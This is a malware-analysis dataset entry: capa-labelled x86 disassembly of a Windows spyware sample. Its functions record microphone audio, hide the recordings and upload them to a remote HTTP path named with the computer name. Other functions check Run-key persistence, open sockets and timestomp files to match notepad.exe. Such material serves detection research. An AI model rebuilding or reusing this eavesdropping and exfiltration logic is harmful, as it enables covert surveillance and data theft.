joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f40
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00403e00
mov dword [esp], eax
mov ebx, eax
call sub.msvcrt.dll_strlen
mov esi, eax
mov eax, dword [edi*4 + 0x5360a0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [esi + eax + 8]
mov dword [esp], ecx
call fcn.004efcc0
mov edx, dword [edi*4 + 0x5360a0]
mov esi, eax
mov eax, 0x505570
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
test ebx, ebx
je 0x403fba
mov dword [esp], ebx
call fcn.004efd60
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404046
test esi, esi
je 0x403fd6
mov dword [esp], esi
call fcn.004efd60
inc edi
cmp edi, 8
jl 0x403f60
call fcn.00403e00
mov esi, eax
call sub.msvcrt.dll_rand
cdq
mov ecx, 8
idiv ecx
mov ebx, dword [edx*4 + 0x5360a0]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea edx, [edi + eax + 8]
mov dword [esp], edx
call fcn.004efcc0
mov dword [esp + 0xc], ebx
mov ebx, 0x505570
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x40403c
mov dword [esp], esi
call fcn.004efd60
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404050
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00403e00
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x53604c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004efcc0
mov edx, dword [edi*4 + 0x53604c]
mov ebx, eax
mov eax, 0x505570
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40415a
test esi, esi
je 0x4040de
mov dword [esp], esi
call fcn.004efd60
test ebx, ebx
je 0x4040ea
mov dword [esp], ebx
call fcn.004efd60
inc edi
cmp edi, 7
jl 0x404070
call fcn.00403e00
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 7
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x53604c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004efcc0
mov dword [esp], eax
mov edx, 0x505570
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x404150
mov dword [esp], esi
call fcn.004efd60
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404170
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00403e00
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x53603c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004efcc0
mov edx, dword [edi*4 + 0x53603c]
mov ebx, eax
mov eax, 0x505570
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40427a
test esi, esi
je 0x4041fe
mov dword [esp], esi
call fcn.004efd60
test ebx, ebx
je 0x40420a
mov dword [esp], ebx
call fcn.004efd60
inc edi
cmp edi, 4
jl 0x404190
call fcn.00403e00
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 4
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x53603c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004efcc0
mov dword [esp], eax
mov edx, 0x505570
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x404270
mov dword [esp], esi
call fcn.004efd60
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404290
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x4042c6
inc ebx
cmp ebx, 8
jge 0x404340
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x4042c0
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x536080]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x404357
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x4042c6
mov esi, esi
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x536080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x536080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404380
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x12c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.00404170
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4043f6
test ebx, ebx
je 0x4043c3
mov dword [esp], ebx
call fcn.004efd60
call sub.msvcrt.dll_rand
mov ebx, dword [0x5360e0]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp], eax
call fcn.004efcc0
mov dword [esp], eax
mov esi, eax
mov dword [esp + 4], ebx
call sub.msvcrt.dll_strcpy
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x5055a6
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x4043b7
xor edx, edx
test byte [eax + 0xc], 0x10
mov dword [ebp - 0x11c], edx
jne 0x404463
lea edi, [ebp - 0x118]
jmp 0x404430
mov byte [ebp - 0x118], 0
mov eax, 0x5055a8
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
movzx ecx, byte [ebp - 0x118]
cmp ecx, 1
sbb dword [ebp - 0x11c], 0xffffffff
test byte [esi + 0xc], 0x10
je 0x404430
mov dword [esp], esi
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.msvcrt.dll_fseek
mov edi, dword [ebp - 0x11c]
test edi, edi
jle 0x4044da
mov dword [esp], 0x100
call fcn.004efcc0
mov byte [eax], 0
mov edi, eax
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0x11c]
test edx, edx
js 0x4044c8
lea ebx, [edx + 1]
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 8], edi
mov eax, 0x5055a8
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
dec ebx
jne 0x4044b0
mov dword [esp], esi
call sub.msvcrt.dll_fclose
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x4043b7

Function at 0x4044f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
movsx ebx, byte [ebp + 8]
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [ebp - 0x14], ebx
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x10], esp
mov esi, dword [edi*4 + 0x536020]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x26
and eax, 0xfffffff0
call fcn.004f1df0
mov dword [esp + 0xc], esi
lea ebx, [esp + 0x1f]
mov eax, str._c:_s
mov edx, dword [ebp - 0x14]
and ebx, 0xfffffff0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404595
inc edi
cmp edi, 7
mov esp, dword [ebp - 0x10]
jl 0x404520
call sub.msvcrt.dll_rand
cdq
mov ecx, 7
idiv ecx
mov eax, dword [edx*4 + 0x536020]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [edi*4 + 0x536020]
mov esp, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404ba0
Capabilities:
Create thread
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x13c
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x404bbc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.NUMBER_OF_PROCESSORS
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_atoi
lea edi, [eax + eax*2]
test edi, edi
jne 0x404bdc
mov edi, 2
xor edx, edx
mov dword [ebp - 0x11c], edx
mov esi, 0x100
xor eax, eax
lea ecx, [ebp - 0x118]
mov dword [esp + 0x14], esi
mov esi, dword [ebp + 8]
mov edx, 0xa
mov dword [esp + 0x10], ecx
lea ebx, [ebp - 0x11c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.004092c0
test al, al
je 0x404c7b
test edi, edi
jle 0x404be4
mov esi, edi
mov dword [esp], 0x100
call fcn.004efcc0
mov dword [esp], eax
mov ebx, eax
lea ecx, [ebp - 0x118]
mov dword [esp + 4], ecx
call sub.msvcrt.dll_strcpy
mov dword [esp + 0xc], ebx
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
xor ecx, ecx
mov ebx, 0x404b30
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
dec esi
jne 0x404c25
jmp 0x404be4
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x404c7b

Function at 0x405300
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
mov edi, esp
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.004f1df0
mov dword [esp], str.open_new_type_waveaudio_alias_mic_buffer_6
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
lea ebx, [esp + 0x1f]
mov dword [esp + 4], edx
and ebx, 0xfffffff0
mov dword [esp + 0xc], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
mov dword [esp], str.record_mic
call sub.WINMM.DLL_mciSendStringA
mov eax, dword [ebp + 0xc]
sub esp, 0x10
mov dword [esp], eax
call sub.KERNEL32.dll_Sleep
sub esp, 4
xor edx, edx
xor ecx, ecx
mov dword [esp + 8], edx
xor eax, eax
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], str.stop_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov ecx, str.save_mic__s
mov dword [esp + 8], esi
xor esi, esi
mov dword [esp + 4], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
xor edx, edx
xor eax, eax
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
xor eax, eax
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.close_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov esp, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405400
Capabilities:
Delete file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
lea esi, [esi]
mov dword [ebp - 0x10], esp
call sub.msvcrt.dll_rand
mov ecx, 0x88888889
mov esi, eax
imul ecx
mov eax, esi
lea ebx, [esi + edx]
sar ebx, 4
cdq
sub ebx, edx
mov eax, ebx
shl eax, 4
mov edx, str..wav
sub eax, ebx
mov dword [esp + 4], edx
add eax, eax
sub esi, eax
lea ecx, [esi + 2]
mov dword [esp], ecx
call fcn.00409160
mov dword [esp], 0x505785
mov esi, eax
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], esi
mov edi, eax
call sub.msvcrt.dll_strlen
lea ebx, [edi + eax + 0x26]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f1df0
mov dword [esp], 0x505785
lea edi, [esp + 0x23]
and edi, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, 0x50578a
mov dword [esp + 4], ecx
mov dword [esp + 0xc], esi
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
mov dword [esp], edi
mov edx, 0x7530
mov dword [esp + 4], edx
call fcn.00405300
mov dword [esp], edi
mov eax, 6
mov dword [esp + 4], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov ecx, edi
lea esi, [esi]
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x4054e0
and edx, 0x8080
jne 0x405506
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, edi
lea eax, [ecx + 0x26]
and eax, 0xfffffff0
call fcn.004f1df0
mov dword [esp + 8], edi
lea esi, [esp + 0x23]
mov edx, 0x505790
mov dword [esp + 4], edx
and esi, 0xfffffff0
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], 2
call fcn.00408770
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], 2
mov ebx, eax
call fcn.00408770
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.0040a680
mov dword [esp], esi
mov ecx, 6
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call sub.msvcrt.dll_remove
call fcn.00404380
mov dword [esp], eax
mov edi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
call fcn.00408f10
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ebx, [ebx + eax + 0x67]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f1df0
lea ebx, [esp + 0x23]
and ebx, 0xfffffff0
call fcn.00408f10
mov dword [esp + 0x10], eax
mov edx, 0x505796
mov ecx, str.http:___s__s_enccomp_sextrec.wav
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], esi
mov eax, 0x5057c5
mov edx, 0x5057de
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], ebx
call fcn.00405640
test edi, edi
je 0x40560a
mov dword [esp], edi
call fcn.004efd60
mov dword [esp], esi
call sub.msvcrt.dll_remove
mov dword [esp], 0x493e0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov esp, dword [ebp - 0x10]
jmp 0x405420
Function at 0x4082a0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 4], ebx
mov dword [esp], 0x101
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
test eax, eax
js 0x408340
mov dword [esp], 2
xor eax, eax
mov ecx, 1
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x190], eax
sub esp, 0xc
inc eax
je 0x408326
mov dword [esp], esi
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebx + 0x1a4], eax
sub esp, 4
test eax, eax
jne 0x408358
mov dword [ebp + 0xc], esi
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov dword [ebp + 8], str.Error_in_gethostbyname___s__n
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f3890
mov dword [ebp + 8], str.Error_in_socket_..._
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f3880
mov dword [ebp + 8], str.Error_in_WSAStartup_..._
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f3880
mov esi, dword [eax + 0xc]
mov ecx, 2
mov word [ebx + 0x194], cx
movzx ecx, di
mov edx, dword [esi]
mov edi, 0x10
lea esi, [ebx + 0x194]
mov eax, dword [edx]
mov dword [ebx + 0x198], eax
mov dword [esp], ecx
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x196], ax
sub esp, 4
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov edx, dword [ebx + 0x190]
mov dword [esp], edx
call sub.WSOCK32.DLL_connect
sub esp, 0xc
inc eax
je 0x4083c5
mov dword [ebp + 8], 0x536150
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp fcn.00407a20
mov dword [ebp + 8], str.Error_in_connect_..._
jmp 0x40832d
jmp dword [sym.imp.msvcrt.dll_puts]
jmp dword [sym.imp.msvcrt.dll_printf]

Function at 0x408440
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_recv
sub esp, 0x10
leave
ret

Function at 0x408470
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_send
sub esp, 0x10
leave
ret
Function at 0x408500
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp + 8]
test esi, esi
je 0x408519
mov dword [esi], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x202
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
xor edx, edx
test eax, eax
je 0x408540
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 2
mov ecx, 1
xor edi, edi
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
xor edi, edi
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x400], eax
movzx eax, word [ebp + 0x10]
sub esp, 0xc
mov edx, 2
mov word [ebx + 0x408], dx
mov dword [esp], eax
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x40a], ax
sub esp, 4
mov ecx, 0x10
mov dword [ebx + 0x40c], edi
lea edx, [ebx + 0x408]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [ebx + 0x400]
mov dword [esp], eax
call sub.WSOCK32.DLL_bind
sub esp, 0xc
test eax, eax
jne 0x408680
mov ecx, 0x100
lea edi, [ebx + 0x418]
mov dword [esp + 4], ecx
mov eax, dword [ebx + 0x400]
mov dword [esp], eax
call sub.WSOCK32.DLL_listen
sub esp, 8
lea edx, [ebx + 0x428]
test eax, eax
mov dword [ebp - 0x10], edx
je 0x408647
jmp 0x408680
inc dword [esi]
mov edx, 4
lea ecx, [ebx + 0x41c]
mov dword [esp + 4], edx
mov eax, 2
mov dword [esp], ecx
mov dword [esp + 8], eax
call sub.WSOCK32.DLL_gethostbyaddr
sub esp, 0xc
xor eax, eax
xor edx, edx
mov dword [esp + 0x10], edx
lea ecx, [ebx + 0x404]
xor edx, edx
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], ecx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], 0
mov dword [esp + 8], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov ecx, dword [ebx + 0x400]
mov dword [esp], ecx
call sub.WSOCK32.DLL_accept
mov dword [ebx + 0x404], eax
sub esp, 0xc
test eax, eax
jne 0x4085f0
lea esp, [ebp - 0xc]
mov edx, 1
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebx + 0x400]
mov dword [esp], esi
call sub.WSOCK32.DLL_closesocket
sub esp, 4
call sub.WSOCK32.DLL_WSACleanup
lea esp, [ebp - 0xc]
xor edx, edx
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x408f10
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp byte [0x536184], 0
je 0x408f26
mov eax, dword [0x536180]
leave
ret
mov dword [esp], 0x100
call fcn.004efcc0
mov dword [0x536180], eax
lea edx, [ebp - 4]
mov dword [ebp - 4], 0x100
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
mov byte [0x536184], 1
mov eax, dword [0x536180]
sub esp, 8
leave
ret
Function at 0x408f60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0xc]
cmp byte [ebp + 0x10], 0
je 0x408fa0
mov dword [esp], esi
mov eax, 0x505fd0
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
je 0x408fa0
mov dword [esp], eax
call sub.msvcrt.dll_fclose
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov byte [ebp - 0xe], 0
mov ecx, 0x505fd2
mov dword [esp + 4], ecx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x40904c
mov dword [esp], esi
mov edi, 0x505fd5
mov dword [esp + 4], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x409044
test byte [ebx + 0xc], 0x10
jne 0x409038
lea esi, [ebp - 0xd]
mov dword [ebp - 0x14], esi
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 0xc], ebx
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x14]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], edi
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [ebp - 0x14], esi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test byte [ebx + 0xc], 0x10
je 0x408ff0
mov byte [ebp - 0xe], 1
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
movzx eax, byte [ebp - 0xe]
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x409060
Capabilities:
Query environment variable
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xbc
mov dword [ebp - 0xb4], esp
mov dword [esp], str.SYSTEMROOT
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.004f1df0
mov dword [esp], str.SYSTEMROOT
lea ebx, [esp + 0x1f]
and ebx, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov edx, str._s_notepad.exe
lea esi, [ebp - 0xa8]
mov dword [esp], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], esi
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x40914f
mov dword [esp], ebx
xor edi, edi
xor eax, eax
mov dword [esp + 8], edi
lea edi, [ebp - 0xb0]
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
call sub.KERNEL32.dll_GetFileTime
sub esp, 0x10
mov dword [esp], ebx
mov ebx, 2
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x40914f
mov dword [esp + 4], edi
xor edx, edx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileTime
sub esp, 0x10
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov esp, dword [ebp - 0xb4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret